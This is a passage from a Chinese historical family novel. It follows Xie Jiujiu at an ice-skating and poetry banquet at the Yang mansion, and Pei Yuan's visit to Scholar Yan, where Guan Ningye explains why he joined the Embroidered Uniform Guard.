两个孩子如今一个九岁一个三岁,不知道什么原因这俩孩子从小身子骨就弱,裴元和谢九九来关家前几天这俩小少爷接连染了风寒。 那天接风宴上,两人虽出席了但一看就还蔫得很,跟阿满同一桌吃饭就听见阿满跟这个聊两句跟那个说两句的,关家的孩子都长得好,阿满就跟进了花丛一样,看谁都喜欢。 今天再见两个外甥,看着精神头倒是不错。尤其关川,虚岁十岁的男孩儿虽还没长开,但五官眉目已经能看出来,这小子以后也得晃花不少姑娘家的眼。 两人规规矩矩坐在金氏身边,听着金氏迂回又曲折的哄着老太太,希望老太太开口让杨氏把两个隔房的侄儿也带上。 杨氏就赶上个尾巴,她不说不带也不说带,就装作刚来什么都没听明白,只自顾自地跟老太太和关令仪说话。 冯氏管家,这些日子她作为管家奶奶大出风头,杨氏作为弟媳跟冯氏这个嫂子之间虽没有矛盾,但两房的下人之间却难免有争执拌嘴的时候。 狐假虎威狗仗人势,到哪里都是一样。即便冯氏从没有故意打压西院的心,但府里的管事和婆子们为了 自己的利益,就免不了互相争斗。 ‘我背后有管家的大夫人撑腰,你们西院牛气什么。府里的事务怎么安排都是管家的太太说了算,西院的人等着就是,每日里催什么催。’ ‘大夫人不过是占了个长幼有序,我们老爷在东宫太子跟前那都是说话算得上话的人物,杨家老太爷还是鸿胪寺卿,你们东院少狗眼看人低。’ 这种类似的话,两房之间的下人吵起来没少说。传到主子耳朵里主子们只能当做不知道没听见,可心里谁又能一点疙瘩都不留呢。 杨家原先是侯爵,如今虽没了爵位但姻亲旧故也还是那一批老牌勋贵。杨家的老太太好热闹,每年到了年底家里的宴席就隔三差五的开。 赏雪赏梅、听戏吃酒,便是专门的冰嬉也要下帖子把亲戚朋友叫到府里一起乐呵。 这种宴会的帖子送到关家,都是直接送到西院杨氏手中。 以前金家在京城,冯氏和两个儿媳妇要是有时候想去又正好跟西院闹了矛盾,不好开这个口,就直接让金氏带着大房的人跟着金家老太太一起过去。 现在金家不在京城了,后宅女眷这些暗戳戳的矛盾又从来不往关如琅和关如璋跟前摆,可不就只能硬着头皮来老太太跟前磨,想要老太太开口,让杨氏主动把人给带上。 但庞氏是什么人啊,别看人家病了多年又住在颐寿堂不问外边的事,可府里上下又有谁真的敢把老太太真当做个泥菩萨? 这其中除了庞氏本身身有诰命和儿女们孝顺,还跟庞氏这些年的经历,和她不管病成什么样子,颐寿堂里外的人都还是她一个个挑选出来的心腹有关。 老太太家底子极厚,老太太这些年对关家旁支大多有恩,老太太耳聪目明一点儿也不糊涂,是关家上下一致认定的。这么个老太太,又怎么可能因为这点小事,把水给端不平呢。 所以不管金氏怎么旁敲侧击,老太太都笑着不松口,妯娌之间有矛盾太正常了,这么大的一个家要是妯娌之间没矛盾,那才是唬鬼。 只要做长辈的不瞎掺和,冯氏和杨氏再怎么也闹不出格。金氏不愿低头没关系,总有人肯先退一步的。 果然没多会儿,冯氏就带着小冯氏来了。 先是把姿态摆得恰到好处地跟杨氏商量腊八过完,准备过年的东西和事项,那架势好像这些事不跟杨氏商量,她这个管了几十年家的当家奶奶,便不会做事了一样。 等什么都商量好了,小冯氏才在一旁问起今日什么时辰出发去杨府赴宴冰嬉的话。杨氏这才接了梯子,连声催促关林和关川这哥俩回去换更厚的斗篷来。 不过是去一个杨府,谢九九怎么也没想到还看了一出众生相的大戏。 本来还因为关家的高门大户,和从裴元那里听来的朝廷啊皇帝啊这个官那个官的听上去特别唬人,给震慑住的谢九九,啪叽一下就从云端跌落下来。 也没有那么云里雾里讳莫如深嘛,说白了还是跟老家巷子里街坊四邻过的日子差不多,你家的狗不能撵了我家的鸡,你家的院墙不能占了我家的地。 谁要是让自己不痛快了,那就得想法子把场子找回来。唯一的区别只在于市井间的妇人得明着把狗脑子打出来才畅快,高门大户里的太太奶奶,则非要再转几道弯罢了。 觉得自己看到了本质的谢九九,当即笑容都更加真切了三分,甚至还歪过身子箍住关令仪的手臂,“今日阿满就全托赖母亲看着了,我今儿可得好好的玩儿。” “多大的人了还这般撒娇,外边的人要瞧见你这个样子,还要不要谢大娘子的威严了。” 以色侍人伺候人多年,谢九九态度细微处的变化关令仪一下子就感受到了。她拍拍儿媳妇的手背,嘴上调侃着眸子里却带了几分询问的意思。 谢九九只笑着点头不说话,有些话现在可不能跟关令仪说。哪能让她知道,自己把关家这些奶奶太太们,都比作自家巷口的嫂子婶子了呢。 第89章 第89章来回横跳九 等到关如琅和杨氏带着家中一大串人准备出门的时候,裴元早已经跟着关如璋和被关如璋强行叫到前院书房,以‘断绝父子关系’当做威胁没法溜走的关宁业出门往严学士府上去。 大冷的天,关如璋坐在马车里,脚下踩着放了银炭的暖炉,手里还抱着个小巧玲珑的汤婆子。 马车里除了能靠坐的小榻,身侧还有个缩小版的多宝阁,抽屉一格一格的,拉开里面装着肉干果干手巾帕子,饿了还能找点儿吃的垫巴两口。 裴元就没这么好的命了,住进关家的第二天就被关如璋这个大舅舅塞了一匹高头大马,供他出行方便。 马是关宁业弄回府的,北镇抚司家大业大身份又特殊,有专门的养马场。 家里兄弟姊妹包括女儿侄女人人都有,就连在任上的关平业他也差人送了两匹过去,也不管这一路上的抛费,早就能再买三五匹好马。 裴元十来岁就会骑马,骑术跟关宁业这样的练家子比不了,放在纯读书人中间就很拿得出手了。 或许是从外表看上去就并不像个文弱书生,关宁业还挺愿意跟裴元这个表弟说话。出府时也不管裴元理直气壮跟在关如璋身后往马车的方向走,就扬声让门房上的小子去马棚把裴元的马给牵了来。 关如璋本不想让裴元骑马,毕竟过完年就是春闱,万一骑马摔了怎么办,就是不摔万一吹了寒风病了怎么办,这时候可不能出意外。 听了这话,关宁业忍不住嗤笑一声,也不说他爹过于小心得有些杞人忧天,只说严大人最爱风流人物,最崇盛唐之风。 表弟生得这幅好皮相好身段,骑着高头大马去拜见严学士,跟坐在马车里过去那能一样吗? 再说了春闱前的举人们谁不想方设法给自己造势,有到处登门送自己的诗集词集的,也有天天以文会友到处交际的,还有托关系找门路,想法子往大儒、大学士门下拜的。 有些人都不用真的拜师,只需某位大人收了他的文章草草点拨两句,就能自认做学生说得人尽皆知。 裴元诗才不行,这次来京城还带着妻女,想要去谋一个风流才子的名声怕是难了。还没在京城会会同窗就住到府里来,就差没在脑门子上刻下关家二字,再想投到别家门下那更是白日做梦。 既已然选了这条路,这次去严学士府上再不投其所好些,可真就白去了。 这话说得忒露骨,一点面子都没给关如璋留。气得关大人狠狠摔了马车车窗的帘子,不再看跟在马车后头骑着马的混蛋儿子和外甥。 裴元对于关宁业这幅桀骜不驯的样子并不反感,骑在马上手冻得发木也只是呵口气暖一暖,一边哈气还一边饶有兴致地打量关宁业这个北镇抚司副镇抚使。 “表哥既不愿,倒不如趁着这会儿功夫找机会溜了吧,舅舅那里我替你兜着,肯定不会真的跟表哥断绝父子关系。” “你这小子,倒是挺会哪壶不开提哪壶。想问什么就问吧,能说的我都说。” “表哥已经入了国子监,即便后来会试考不过,也能走吏部的关系谋个官位差事,为何要半路入了锦衣卫。” 裴元好奇的就是这个,关宁业说让自己随便问那他自然不会客气。倒是关宁业一脸‘让你问你还真问啊,哪里来的彪呼呼的玩意儿!’ “这事我不想说,换一个问。” “那没了。” 裴元摇摇头,眼看着这么大冷的天,关宁业被自己气得满脸涨红,骨节分明的手把马鞭攥得死紧,心里那点不甚分明的不痛快才彻底没了。 关宁业这人太口是心非,明面上看着桀骜不驯不服管教,其实做事说话总透着一股子幼稚和天真。 锦衣卫成立这么多年,起初入 锦衣卫的大多是校尉和军户,尤其是护卫皇帝的近身侍卫们,有很大一批被挑选出来入了锦衣卫。说白了,这些人就是圣人亲手挑出来的奴才。 后来随着锦衣卫的势力和权力不断扩大,京城很多官员和世家开始把家中子弟想法子塞到锦衣卫里去,总比整日里游手好闲无所事事要强。 所以关宁业选择不继续科举而是入锦衣卫,在关家人看来或许是大逆不道,其实在旁人眼里并不是那么不可容忍。 尤其关宁业如今都已经是北镇抚司的副镇抚使了,在许多人眼里虽不可亲近,可演说一点艳羡都没有却也是假的。 没见关家二爷这几年攒了多少家底,这可比科举取士从七八品的小官,半阶半阶的往上熬要强得多。 只有关宁业像是偏要跟家里人和关如璋作对,明知道他最不喜欢什么就非要干什么。 /:. 每次回府,尤其是去关如璋的书房,不是麒麟服便是绛色飞鱼服,身侧悬挂绣春刀和锦衣卫特有的牙牌,好似生怕他爹忘了他是什么身份。 但今日关宁业却罕见地换下锦衣卫的打扮,只着一件深青色绸缎道袍,内里搭着藕色长袍夹貂皮的袄子,腰间的绣春刀换成了丝绦荷包。 束发于顶以素净白玉簪固定住,暖帽风领围在颈间,顶部着红珊瑚顶珠,打眼一瞧便是京城中的世家子弟,全然看不出这人还是锦衣卫的副镇抚使。 今日一早关如璋派人把他找来时他就是这幅打扮,嘴上跟他爹犟着不愿去严府,其实早早地把可能会惹严学士不高兴的打扮都全给换了。 裴元的打量和探究的心思很隐晦,但关宁业还是感觉到了。关宁业嘴硬着不肯说,表兄弟二人骑在马上一路往严学士府上去,也没有再提这一茬。 同朝为官,品级和家世又相近,严府跟关家隔得不算远,不过小半个时辰的路就到了。 骑在马上远远望去,这么大冷的天严府门口竟然还有好些学子等在门外,一看便知全都是来年要参加春闱的举子们,想要拿着文章诗词来叩翰林学士严大人的门。 来不及感慨什么,关如璋从马车上一下来,就有门房上的管事快步迎出来,把三人从仪门迎进府里,一边走还一边看着关宁业直乐。 “笑什么笑,上次就没让我进门,今儿再拦着爷试试。” “二爷跟奴说笑了,那天老爷真不在,不信您等会儿到了书房亲自问老爷去。” “去去去,少跟我这儿逗闷子,怎么今天尽是些哪壶不开提哪壶的主儿。” 很显然,以前关宁业进出严府就跟回家没什么区别,就连严府的大小管事谁见了他都认识,张口便称二爷,那架势着实比关如璋和裴元要亲近多了。 关家毕竟被流放过,近几十年虽起复但到底伤了家底子。而严学士府却是已然传了几代人,都在这京城屹立不倒。府里一步一景砖瓦草木,都藏着一股子气。 裴元一路没多说话,只安安静静的走着看着,一路跟着往严府的前院书房去。 而另一边跟着杨氏和关令仪一起到了杨府的谢九九,也再一次推翻了自己今天刚在颐寿堂的感慨,其实还是有些不一样的。 杨家这一辈儿的家主是杨氏的父亲,家中世代承袭的侯爵到他父亲这里到了头。但杨氏的父亲杨大人是正经的进士入仕,再加上家族世代勋贵的背景,真是要显赫有显赫,要清贵有清贵。 中了进士之后便入了翰林院,他这样的世家子从未想过出京为官,去任上再是当个一方父母官,什么都是自己说了算,对他而言那也是吃苦受罪。 吃不了那份苦,也没打算去地方盘剥老百姓捞钱的杨大人,就安心待在翰林院熬资历。等资历熬得差不多了,又在京城六部和各处衙门里转了一圈。 眼下的官职为鸿胪寺卿,主要负责接待外国番邦和掌管朝会、祭祀、宴会、讲学、册封等庆典礼仪。身处这么个位置上,整个府里好热闹喜宴请一些,也就无可厚非了。 杨府虽没了侯爵承袭,府里逾制的东西摆设也全都撤了,但家中做派和排场却依旧处处透着勋贵世家的尊贵。谢九九说不出来跟关家有什么不一样,但又处处都不同,让人更加添了几分小心。 到了吃饭的时候,刚入席屁股还没坐热,就听见今日的主家提及要行酒令作诗。 担任令官的是一个打扮得比寻常人家的小姐还要富贵些的大丫鬟,模样长得也好,身上的衣裳都是绸缎做的袄子,耳垂上的珍珠耳坠比自己以往在家中戴的还要莹润饱满。 光是杨府一个大丫鬟,谢九九就没忍住细细打量暗自咋舌。怪不得金氏宁愿厚着脸皮去老太太那里磨,也要想法子跟着来。 杨府的丫鬟都这等气派了,就更不要提今日来冰嬉吃酒的宾客们,光是谢九九不经意听到的,就已经有好几个国公和好几个侯爵伯爵府的夫人娘子们。 关家身处其中,要不是有杨氏这个姑奶奶在,都一点儿都不打眼了。 不过没等谢九九再仔细辨认今天来杨家的到底有哪些人,酒令便开始轮了起来。这大户人家的酒令都跟市井中的不一样,人家这接诗词的龙不靠背,而是要立时立刻自己作一首来。 刚开始轮的那两个夫人作诗的时候,谢九九都没反应过来。 还咧着嘴一边叫好一边琢磨这是哪个诗人的大作,怎么自己从来没听说过,难道京城的官家女眷就喜欢背偏门冷僻的诗词不成? 之后反应过来这是人家现作的,谢九九顿时汗毛都竖起来了。 行酒令就是个玩儿,只要在这个席面上谁都能轮到。哪怕是自己这个敬陪末座的举人娘子,酒令到了自己头上自己躲都没地儿躲。 这个时候谢九九才真切感受到了自家丈夫以往为什么很少去同窗之间的诗会,这不会作诗就是不会,这可不像吃饱了吃不下的时候,勉强一下还能再吃。 诗作不出来就是作不出来,逼死了自己也没用。尤其听着屋里越发热闹,令官点人的速度越来越快,而且还明显有往自己这边转的趋势,谢九九当即就决定起身尿遁。 好歹自己也是解元娘子,今天要是当众丢人多少有些不合适。却不想人还没起身就被一只微凉的手给拉住,还顺势塞了一张小纸条过来。 谢九九一看,竟是坐在自己身旁的小冯氏。她冲谢九九晃了晃系在腰间的小匣子,打开来一看里面装的竟是小小一支炭条和提前裁好的纸片。 再打开纸片一看,果然是提前写好的诗。 算不得出彩但足够谢九九把眼下的场面糊弄过去,没有所谓的艳惊四座也不曾当众丢人,酒令接过一次之后,谢九九便安全混过这一场酒席。 第90章 第90章再等等看呗 吃过饭,众人又起身往杨府的后花园去。杨府花园后头听说有个戏楼,戏楼朝西是戏台,即便是大冷的天也不耽误家里太太奶奶们看戏吃酒。 戏台朝东是初代侯爷建这座府邸的时候开挖的人工湖,大小不过一亩左右,看水面结冰的情况应该也不大深,但光是能引来这般活水养着这么个湖,就可见杨府的底蕴有多深厚。 湖中置有湖心亭和九曲桥,岸边栽种一 整排的柳树,夏天要是沿着湖边散步,怕是还真分不清这到底是京城还是江南。 谢九九跟着关令仪进了戏楼,找了个不起眼的地方坐下。阿满被杨氏身边的嬷嬷抱到她跟前去了,她身边还有珍珠寸步不离的跟着,谢九九不用操心。 阿满不怕人也还不识货,这满屋子的太太奶奶们在小家伙眼里,都是打扮得漂亮和打扮得更漂亮的姨姨婶婶们,不管谁跟她说话,她笑盈盈地回答,完全没有怕生胆怯这一说。 裴元不过南地出的一个解元,与关家相熟的人家或多或少还知道关家有这么个外甥,另外起码一半的人跟关家关系不过泛泛的,自然是听都不曾听说过。 人家问阿满你是哪家的姑娘,阿满说了人家要是不知道,她就招招手把关继业叫来,“他是我表舅,我是他表外甥女,夫人下回可能记住我了。” 关如琅和杨氏成亲多年才得了这么个儿子,不光是关家看得重,杨家作为外家更是看得如珠如宝,杨大人这几年为了外孙读书不好被他爹教训的事不知操了多少心。 以前同朝为官从不脸红,出了衙门又是一对好翁婿的两人为此争执了不止一两次。 一个觉得孩子还小,以自家和关家这样的门第出身,何必非要把孩子逼得那么苦。一个觉得自己年纪不轻儿子却还小,为官入仕多么凶险岂是能随便糊弄的。 关如琅不愿关继业平庸一世,自然得从儿子小时候起就耳提面命地管教。 等来日要是他真的资质平庸,关如琅就宁可他守着家业平平稳稳做个富家翁过一辈子,也好过把他稀里糊涂地推到官场上,再稀里糊涂要么送了自己的命,要么害了别人的命。 争执的次数多了,关继业这个小子读书不好就出了名,受宠更是出了名。现在阿满一招手关继业就蹬蹬蹬地跑过来,认下自己就是她嫡嫡亲的表舅,大家也就大概明白这是谁家的孩子了。 既是关家的孩子,又跟关继业这般亲近,本就胖乎乎雪团儿一般,说话还带着几分南地口音软糯糯的小姑娘,就显得更加可爱了。 好几个夫人当即取下手头的镯子或是玉佩,让丫鬟直接拿给阿满身边的珍珠。 孩子还小,这些东西给了她弄丢了不怕,万一硌着孩子磕着孩子不是闹着玩的。珍珠本就是庞氏院子里的丫鬟,这种长辈送的东西不用推辞,只替阿满福身行礼接过来便是。 “你还不赶紧过去。” 说话的是小冯氏,自席面上她给谢九九看了自己随身带着的炭条,这一路直到在戏楼坐下,她都下意识的跟谢九九坐得更近,反倒是大表嫂金氏看着两个儿子,离两人隔得远了些。 “过去干什么,这不是扫兴嘛。” “那可是鲁国公府的大太太,本朝一共五个世袭不降等的国公府,这便是其中之一。” 小冯氏的意思谢九九自然明白,鲁国公府的大太太喜欢阿满,自己这个时候凑上去跟人家请安,要是能顺势入了国公府夫人的眼,日后说不得对裴元来说,也是一个助力。 “我这个人眼皮子浅,真凑上去了肯定忍不住讨好人家。” 很多事讲究的都是‘自然’二字,阿满年纪小又是个讨喜的性子,这是她的天性。今日这戏楼里不止她一个孩子,她能讨喜招大人们喜欢,就是因为她的天性自然。 要是自己凑上去故意讨好,那成什么了?那就什么都变味儿了。这些个夫人太太们谁不是人精,难道还能看不出来自己所求? “再说阿满才多大,这一路来京城我们当大人的还好,最辛苦的其实是孩子。难得今天这么多人又这么热闹,她玩得开心最要紧,我我就不扫她的兴了。” 小姑娘大方开心的玩儿,自己这个当娘的突然过去借着孩子的由头讨好别人攀关系,真以为孩子小就不懂事啊,多少也得顾忌孩子的脸面才行。 “这有什么,京城里这些人家谁不是捧高踩低的。你现在不去,以后也会去。” 小冯氏没想到谢九九会跟自己这么说,一时间脸上的神情看上去有些奇怪。好像有些闹不明白,一个小门小户出来的商户女,这个时候讲究什么骨气。 “那就再等等,等等看吧。” 不远处的阿满被那些漂亮的太太奶奶们转圈问了一遍,也收了不少见面礼。 这会儿转身回了杨氏和关令仪身边,歪着身子靠在关令仪腿上,还不忘伸出一只小肉手让杨氏牵着,就这么雨露均沾着接过关继业拿来的点心吃着,一边看对面戏台上锣鼓喧天。 谢九九说不去套近乎就真稳如泰山地坐着不挪地方,小冯氏又小声嘀咕了几句,大概还是在说谢九九太固执一类的话。 但说归说,她自己的女儿英姐儿小心翼翼地贴到她身侧时,小冯氏没有再哄着女儿去杨府老太太跟前‘陪着老太太孝敬老太太’,而是拿过攒盒里的点心糕子给女儿,让她安安静静待在自己身边吃点心。 小冯氏跟关宁业成亲十来年就生了这么一个女儿,听说小冯氏为此还做主给关宁业纳了两个姨娘回来,就想着怎么着还得再生个儿子。 可不知道是两个姨娘不合关宁业的心意,还是关宁业自己有问题。姨娘纳回来几年肚皮一直没动静,起初小冯氏还着急,这两年是急都不急了,只把心思放在女儿身上。 小冯氏和关宁业的独女名群英,却是个十分温柔沉默的女孩儿。模样不似小冯氏这般张扬明媚也不像关宁业那么精致出色,而是如水的那种清秀淡雅。 阿满皮得像只活猴儿,关继业这个小舅舅更是觉得自己得了这世上最好的玩伴儿,阿满让他干嘛就干嘛,就差没窜到房顶子上去。 大房两个哥儿病还没好全,这会儿安安静静坐在一旁跟其他府上相熟的朋友说着话,关川已然是个少年,说话动作都已经像个大人了。 只有英姐儿不想跟他们一起玩儿,也不想在杨家老太太跟前说那些吉祥话,她就愿意贴在母亲身边,什么都不干也挺好。 小姑娘温顺安静得不像话,越发衬得远处安静了没一小会儿又蹦跳起来的阿满叫人头疼。好在珍珠耐得下心,又有关继业这个小舅舅由着她折腾。 看着女儿远远冲自己笑得谄媚,谢九九无可奈何地冲她摆摆手,阿满这才又牵着关继业的手往戏楼外面去,结了冰的湖面上好几个小孩儿凑成了堆儿,阿满非要过去瞧瞧。 东边结了冰的湖面热闹起来,谢九九对看戏没兴趣,一看冰面上除了孩子,还有两个年轻妇人也下去了,便跟着起身往湖上去。 跟着这些个奶奶太太们混了大半日,谢九九心里大概有了底儿。跟这些夫人娘子们相处,不能看她们说了什么,得看她们做了什么。 小冯氏嘴上舌灿如花又摆出一副矜持贵重的样子不算什么,冲她招招手让她跟自己一起玩拖冰床,这人皱着眉头捏着衣角,一只手还要扶着丫鬟手臂。 却还是一下都不带犹豫的起身,从戏楼里走出来,一步一步走到谢九九跟前,皱着眉头问她:“这么一点大的冰床,我们两个怎么坐。” “怎么不能坐。”中午吃饭的时候多亏小冯氏给自己递了小纸条,才没让自己当着那么多人的面丢人。 现在谢九九怎么看她都觉得顺眼,在谢大娘子眼中,小冯氏就是个命和运都要比黄金珠更好上许多的人。 “来,我坐后面护着你,你坐前面靠在我身上,我俩才多重,我看那边四个人同坐一辆冰床都滑得老快了。” 杨府的冰床底下嵌了铁条,木板上又安了伞盖和毡毯,冷归冷但把毡毯往身上一裹就能隔绝大半的寒风,“快些上来,我俩现在 不玩儿,等阿满过来就得让给她了。” 小冯氏对于谢九九这种得趁着女儿没发现赶紧玩儿的亲娘,真真是第一次见。 可等到她一脸嫌弃却又乖乖拢着衣裙袄子在冰床坐下,被拉着在冰面上滑行时,又高兴得催促拉冰床的壮汉快些快些、再快些。 谢九九在亭台楼阁极尽工巧的杨府玩得还算尽兴,裴元则在翰林院严学士的书房里,脑子直发蒙的拿着笔准备写文章。 站在书桌旁研墨的小厮是专门在书房伺候的,连研墨的动作都显得比寻常书童奴仆要更流畅更好看。裴元摸了摸上好的砑花笺,心中第一反应竟是这么大一张砑花笺,得多少银子。 砑花笺文人书生常拿来写诗,纸笺一般不会裁剪得多大,能用上砑花笺誊写的诗词大多也都是得意之作,写好之后再装裱或送人。 现在严府的书童随手给准备的,便是连裁都不曾裁剪的砑花笺,这学士府还真真是清贵得有些唬人了。 不过这样的念头也就一瞬,严学士出的题并不生僻也不算故意为难人,裴元不过濡墨的功夫便想好了该如何破题,并且越写心中就越发涌起一股似曾相识的感觉。 这题目出得极好,好得让裴元有种又回了当日第一天进府学,被章世铮出题教考的感觉。唯一的区别就在于严学士出的题更加老辣更加精准。 等到整篇文章写完,拿给严学士看,须发已然花白,从见第一面起就肃着脸看不出一丝笑意的老大人,这才把文章递给关如璋,“你这外甥,倒是个做官入仕的料子。” 关如璋结果裴元的文章,从头到尾粗粗扫过一遍,确定严学士不是再说反话讽刺人,这才赔笑着接话,“要不是个正经能读书有本事的,学生又如何敢像先生讨人情。” “你不用一昧谦虚,好就是好,不好就是不好。他若不好,便是你我的面子加起来,章世铮也不会在他身上花这么多心思。” 话说到此处,裴元才大概明白到底是怎么一回事。原来府学里的章世铮的师从便是严学士,他跟关如璋能算得上师出同门。 当初章世铮会在自己进入府学之后,那般倾囊相授却又从不提正式拜师的事,一半的原因是因为崔鹤儒,还有一半是因为他要把裴元留着,毕竟关如璋的打算,是想要裴元直接拜到严学士门下。【你现在阅读的是 】 90-100 第91章 第91章真正的云泥之别 人越缺什么就越想要补什么,裴元最缺的就是个足够清高贵重的出身,关如璋才会这般谋划。 进翰林院入严学士门下,等日后攒够了资历,等到哪日外面的人再也不会计较裴元外室子的身份,关如璋的谋划也就算成了。 但这样的谋划还不等裴元表示接受不接受,一旁一直坐着没出声的关宁业先不乐意了。 极其故意地冲着关如璋的方向满是不忿地哼了一声,“父亲,等表弟真成了进士,他可先是皇上的臣子,后才能是旁人的学生。您别自作主张,反而耽误了表弟的前程。” 这话说得太露骨,气得关如璋美髯直哆嗦。还是严学士抬手往下压了两下,才没让关如璋当着他和裴元的面教训儿子。 关宁业对严府极熟,从仪门进来直到书房,那姿态那步履都跟在自己家里没什么两样。 直到进了书房见了须发皆白的严学士,这个人前威风凛凛的关家二爷,才收敛了在北镇抚司养出来的那一身桀骜气。 老老实实以学生的身份,整了整衣冠双膝跪地,双手交叠置于地面,额头紧紧贴服手背,给严学士行了磕头的大礼。 或许是顾着关如璋也在,又或者是没打算真的让关宁业在裴元跟前失了脸面,严学士脸上的神情虽不悦,却也没有再故意为难关宁业,只不过把人晾在一旁,随他坐在角落不看他罢了。 直到裴元把文章写好,不算老的老狐狸和正经八百的老狐狸互相一对视,才把话头转到了关宁业头上。 “那年你到府上来,跟我说来年不打算参加会试,也是这个时候。那天的天气比今天更差些,老夫记得还下了雪。” 这话说得裴元没忍住往关宁业身上看了一眼,严学士是他的授业恩师,敢亲自上门跟老师在会考前夕说自己不考了,这人的胆子着实不小。 怪不得他能掌着昭狱,毕竟带入一下自己,要自己去跟崔鹤儒说自己不考会试了,裴元还真就不敢。他都生怕老头儿被自己气得一口气儿上不来,就这么过去了。 “回先生的话,那天下着大雪。” 那天关宁业是匆匆而至,下午时分雪下得大了天色都显得格外昏沉。书房里除了严学士还有几个来年也要会试的举子,见关宁业来严学士原本还板着的脸一下子就笑开了。 关宁业不光在读书上有天赋,君子六艺也无一不精,妥妥一个少年得志鲜衣怒马的世家儿郎。严学士极喜欢这个学生,有时待他比对自家的子侄还要亲昵。 关宁业从小不服关如璋的管教,总觉得他爹太圆滑,做官太没有文人的风骨。严学士嫌家中子侄在自己跟前就如同老鼠见了猫,战战兢兢大气都不敢喘。 就连严学士的夫人都说,也不知道这爷俩为何这般投契。再难的事两人在书房里嘀咕过,自家这出了名脾气又臭又硬的老爷,脸上就能显了笑模样。 谁知那天关宁业来府上,是跟严学士说他来年不考会试了,问他什么原因也不说。原以为是出了什么事逞一时之气,谁曾想等过完年,这混蛋玩意儿就进了锦衣卫。 众人这才知晓,圣人亲自派身边内宦给京城各大世家摸了底,挑选出一批世家子入了锦衣卫和禁军当中,明面上这是抬举世家清流,实际上这何尝不是拿捏住了各家的把柄。 这一批世家子里庶出或是旁支居多,像关宁业这种本枝嫡子就那么几个。他是其中最显眼最出色的那一个,人人都没想到关家大房的老二,会选择这条路。 “那日之后,我不愿见你,你父亲多次问你为何要入锦衣卫你也从不说实话。今天你父亲带着裴远舟过来,我既然让你进门,便还是想听你自己说清楚,当年到底为什么选了这条路。” “关镇抚使,今日你若说实话,咱们爷俩也不枉师生一场。你若还不说实话,从今往后便再不用登我的门了。” 严学士面上威严,其实话语里已经软得不行了。听听这话说得,只要关宁业说句实话,爷俩往后就还是好爷俩。以前他妄自决定断了科举路的事,人家都不追究了。 裴元看看还没说话就先一脸委屈的表哥,再想想严府门外大冷的天还等在外边的举子,这人比人啊就是能气死人。 不过或许是真的怕严学士动真格的再不叫他进门,一向天王老子都七个不服八个不忿的关宁业终于在自己的授业恩师跟前服了软。 原来当年关宁业被皇帝身边的内宦找上的时候,正好是关如璋在官场上最如履薄冰的时候。 当时关如璋刚刚升迁至工部侍郎,工部尚书金大人既是上官又是姻亲,在外人看来正是风光得意的好时候,其实私底下正经是两难得很。 金老大人不得圣上的心最根本的原因,是因为他是先太子的人。 如今的圣上虽是先帝和当时的皇后所生的嫡子,但他不占长。 他头上还有两个嫡出的兄弟,一个是当时的太子,一个是当时的齐王。金老大人曾在先太子的詹事府做了十年的属官,后来太子病死,金老大人这才脱离了太子党的身份。 先太子死后,当今圣上被册立为太子。又跟亲弟弟齐王为了皇位斗了个天翻地覆,只差没把狗脑子给打出来,关家也正是那个时候被牵连贬谪的。 后来的事自然是成王败寇 ,关家因为关家老爷子跟圣上有情分,这些年一直被优待。 金老大人虽是先太子的人,但现在的皇帝因为跟齐王斗得撕破了脸,反而对先太子一直在面子上是尊着的。 因为只有这样,皇上才能让天下人看清楚,是齐王狼子野心是齐王觊觎皇位。而他自己是名正言顺顺位继承,先太子死了就该是他做太子。 如此一来,即便圣上并不喜欢先太子一党的大臣,明面上还得演一出君臣相得的戏码。关如璋这个跟圣上有交情跟金家是姻亲的,可不就成了夹在中间受夹板气的那一个。 关如璋是京城出了名的八面玲珑左右逢源,谁都知道关家大爷跟老关大人不一样,关家的八个心眼全长他身上了。 可越是这样,当时的圣上就越是琢磨,关如璋你到底是跟朕一条心还是跟先太子一脉是一条心。 “当初圣上身边的王公公找到我,问我想不想做真正的天子近臣。又问关家,是不是还似当年一般跟皇上一条心。若是一条心,又为何要把大哥送出京去任上为官。” “父亲送大哥走,本是为了让圣上放心,金家的女婿都不在京城了,大嫂又没跟着大哥去任上,咱们家跟金家还能怎么亲近。” 可这些动作看在皇帝眼中,反而成了一种欲盖弥彰。关家在党争和站位上吃过大亏,关如璋的八面玲珑又何尝不是一种自保。 有些事不是你想躲就能躲的,“父亲在工部,再圆滑也守得住本心,二叔从翰林院到詹事府,看着是太子的人了,可到底清贵慎独了些。” “大哥在任上,更是处处小心如履薄冰,这些年不说有什么大功劳,却也宵衣旰食对得起一方百姓。这样的关家太干净了。” 最后四个字,关宁业说得很轻,轻得宛如喃喃自语。他明白皇上挑中自己,是在给关家一个机会。皇上喜欢关家,但是更喜欢当年那个可以为了太子粉身碎骨全家贬谪的关家。 你关家现在太干净太明哲保身了,你们家这么爱惜自己,那我这个皇帝又怎么能放心用你们家的人。 所以关宁业只能心甘情愿入了锦衣卫,他脏了手圣上才能对关家用得更加放心。与光同尘,有时候甭管你自愿不自愿,都得走这一步。 “当时为何不把这话说出来,你父亲与为师难道就会干看着你去填这个坑?”便是要让圣上放心,那也应该是关如璋关如琅去,何必舍了关宁业这个孩子。 “老师,学生自愿的。再说入了锦衣卫也没什么不好,三十岁从五品的副镇抚使,便是当年考中进士,如今恐怕也坐不到这个品级上来。” 刚刚还是老夫这会儿就成了为师了,关宁业忍不住抬起头来冲严学士挑了挑眉,这几年在锦衣卫的时间长了,也沾染了武夫的习性,眉宇间的桀骜不驯,实在是掩藏不住。 “你!”严学士被关宁业这个逆徒气得一下子不知该说什么好,可又不打算就这么简简单单放过他。干脆抬手一指裴元:“远舟,你来说说。” 这是关宁业第一次在老师跟前表白自己当年为什么会弃了科举一道,直接入了锦衣卫。 关家这些年的起起伏伏外人当然没有资格来置喙,当年关如璋被夹在圣人和金家之间的两难,严学士也是看在眼里的。 最后的结果在外人看来是皆大欢喜,但在金老大人能不能入内阁这件事前后僵持了好几年,关如璋不管是作为金老大人的姻亲,还是工部侍郎,他承受的压力都不是外人可知道的。 所以此刻看着眼前看似云淡风轻但其实眼圈都红了的关宁业,严学士到底没有再开口训斥,而是转头看向裴元,“这事若放在你身上,你会选择哪条路。” 裴元没忍住抬手点了点自己的鼻尖,确定严学士没问错人这才起身鞠躬,“学生愚钝,学生这一路走来,一直都只有一条路。” …… ………… 听了这么多,裴元其实心绪并没有什么起伏。这个书房里的四人,除了裴元之外都太尊贵了,他们都是活在云端之上的人。 关宁业的选择是要么给翰林院学士做学生读书考功名,要么替皇上办事,入锦衣卫短短几年时间就成了北镇抚司副镇抚使。 